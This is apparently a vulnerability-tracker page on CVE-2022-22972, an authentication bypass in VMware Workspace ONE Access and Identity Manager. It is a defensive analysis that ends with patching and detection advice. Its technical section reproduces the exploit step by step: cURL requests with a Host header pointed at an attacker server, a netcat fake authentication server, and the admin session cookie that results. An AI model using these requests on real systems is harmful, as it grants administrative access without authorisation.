Attacker Value
(2 users assessed)
(2 users assessed)
User Interaction
Privileges Required
Attack Vector


Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.


VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.

Add Assessment

Technical Analysis

CVE-2022-22954 came out at nearly the same time, is easier to exploit, and grants access to the underlying OS rather than the web interface. I think that’s going to be the issue that ends up mattering, and this will be overshadowed.

The biggest problem is that this requires an Internet-facing SSL server, so attacks can’t easily be automated.

Technical Analysis

By setting the Host HTTP header to point to a server under an attacker’s control, the target application can be made to issue an authentication request to it. By having the server respond with an HTTP 200 to any POST request, an attacker can bypass authentication and login as any user.

General Information


  • VMware Workspace ONE Access, Identity Manager and vRealize Automation

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis


On May 18, 2022, VMware published VMSA-2022-0014 on CVE-2022-22972 and CVE-2022-22973. The more severe of the two vulnerabilities is CVE-2022-22972, a critical authentication bypass affecting VMware’s Workspace ONE Access, Identity Manager, and vRealize Automation 7.6’s embedded Identity Manager server. The vulnerability allows attackers with network access to the management interface to authenticate to the web console using any account. For high level details, see the Rapid7 blog post from May 19, 2022.

Affected products include:

  • VMware Workspace ONE Access –
  • VMware Workspace ONE Access –
  • VMware Identity Manager (vIDM) 3.3.3 – 3.3.6
  • vRealize Automation 7.6 (via the embedded vIDM server)

On May 26, 2022, Horizon3 released a proof of concept that works on vRealize, along with a detailed writeup. While this is an interesting vulnerability, we do not believe it will see widespread exploitation for several reasons:

  • The VMware management port is not typically exposed to the public internet
  • This vulnerability requires a server with a valid SSL certificate that the VMware server can connect to, which makes exploitation somewhat more complex (though services such as Let’s Encrypt make it fairly easy)
  • CVE-2022-22954 came out at roughly the same time, affects the same versions, is easier to exploit, and grants access to the OS instead of the web application

That being said, a public proof of concept exists so we will monitor for attacks.

Technical analysis

To analyze this issue, we used Horizon3’s proof of concept, though we modified it to work against our target host: VMware Identity Manager (vIDM) Our analysis will use cURL requests against vIDM to demonstrate the issue and impact.

Based on the exploit, VMware’s authentication endpoint appears to use the Host HTTP header to contact an upstream authentication server. Since the client controls the Host header, we can point it to another server, and VMware will authenticate to that server instead. To verify the user’s credentials, VMware sends a POST request containing the username, password, and other details to the /SAAS/API/1.0/REST/auth/local/login endpoint of the server listed in Host, then waits for an HTTP 200/OK response.

To demonstrate, we visited the authorization endpoint of our target server (https://target.server/SAAS/auth/login) and submitted the desired username and any password. We captured the outgoing authentication request using Firefox’s Network tab (Burp Suite would also work).

Here is the typical authentication request as cURL, with extraneous fields removed:

$ curl -iks 'https://target.server/SAAS/auth/login/embeddedauthbroker/callback' -H 'Host: target.server' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'protected_state=eyJ[...]9&userstore=System+Domain&username=admin&password=password&userstoreDisplay=System+Domain&horizonRelayState=f38e339d-36bb-4ae2-b740-e78b99d2e8c9&stickyConnectorId=&action=Sign+in'

[...]Your username or password is incorrect.[...]

In our lab, we have a reverse Nginx proxy that terminates SSL with a valid certificate and proxies the request to a lab host for analysis. We created a Netcat listener on that host to create the world’s simplest HTTP server, which will listen for the HTTP version of the request and respond with HTTP/1.1 200 OK to anything:

# echo -ne 'HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n' | nc -vv -l -p 80

Then changed the Host header of the VMware authentication request to point at the SSL proxy:

$ curl -iks 'https://target.server/SAAS/auth/login/embeddedauthbroker/callback' -H 'Host: attack.server' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'protected_state=eyJ[...]9&userstore=System+Domain&username=admin&password=password&userstoreDisplay=System+Domain&horizonRelayState=f38e339d-36bb-4ae2-b740-e78b99d2e8c9&stickyConnectorId=&action=Sign+in'
Set-Cookie: HZN=eyJ[...]w; Path=/; Secure; HttpOnly

On our fake authentication server, we see the request come in:

$ echo -ne 'HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 8079
listening on [any] 8079 ...
connect to [] from 34522
POST /SAAS/API/1.0/REST/auth/local/login HTTP/1.1
User-Agent: curl/7.79.1
Content-Type: application/json
Content-Length: 128

{"organizationName":"IDENTITY-MANAGER-3-3","username":"admin","password":"password","issuetoken":false,"domain":"System Domain"}

The VMware target issues the HZN cookie, which decodes to the following:

  "jti": "a274d75f-4fdd-446c-afdb-98b5d54c6818",
  "prn": "admin@IDENTITY-MANAGER-3-3",
  "domain": "System Domain",
  "user_id": "5",
  "auth_time": 1653592546,
  "iss": "https://attack.server/SAAS/auth",
  "aud": "https://attack.server/SAAS/auth/oauthtoken",
  "ctx": "[{\"mtd\":\"urn:vmware:names:ac:classes:LocalPasswordAuth\",\"iat\":1653592546,\"id\":3}]",
  "scp": "profile admin user email operator",

We can see that it’s a valid authentication cookie for admin!

Just for fun, we checked the top-200 web servers, and discovered that Twitter (among several others) responds with a HTTP/200 on the desired endpoint. That means we can exploit it by changing our Host header to instead of running our own TLS server:

$ curl -iks 'https://target.server/SAAS/auth/login/embeddedauthbroker/callback' -H 'Host:' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'protected_state=ey[...]9&userstore=System+Domain&username=admin&password=password&userstoreDisplay=System+Domain&horizonRelayState=f38e339d-36bb-4ae2-b740-e78b99d2e8c9&stickyConnectorId=&action=Sign+in'
HTTP/1.1 302 
Set-Cookie: HZN=ey[...]A; Path=/; Secure; HttpOnly

That means an internet server is not required, and you could hypothetically simply leverage Twitter (editor’s note: please don’t bother Twitter!)


This exploit requires the VMware server to create an outbound connection to a TLS server, which can run on any port, but requires a valid TLS certificate. The TLS server must respond with 200 OK, but otherwise can contain anything—a variety of servers on the Internet could easily be leveraged.

Unfortunately, outside of the unusual network traffic, we could not find anywhere in the host logs that indicates that this vulnerability had been exploited. By all appearances, this looks the same as a typical user login.


VMware customers should patch their Workspace ONE Access, Identity Manager, and vRealize Automation installations as soon as possible. VMware has instructions on patching and applying workarounds. Additionally, if your installation is internet-facing, consider taking steps to remove direct access from the internet. It may also be prudent to follow CISA’s guidance on post-exploitation detection methods found in Alert (AA22-138B).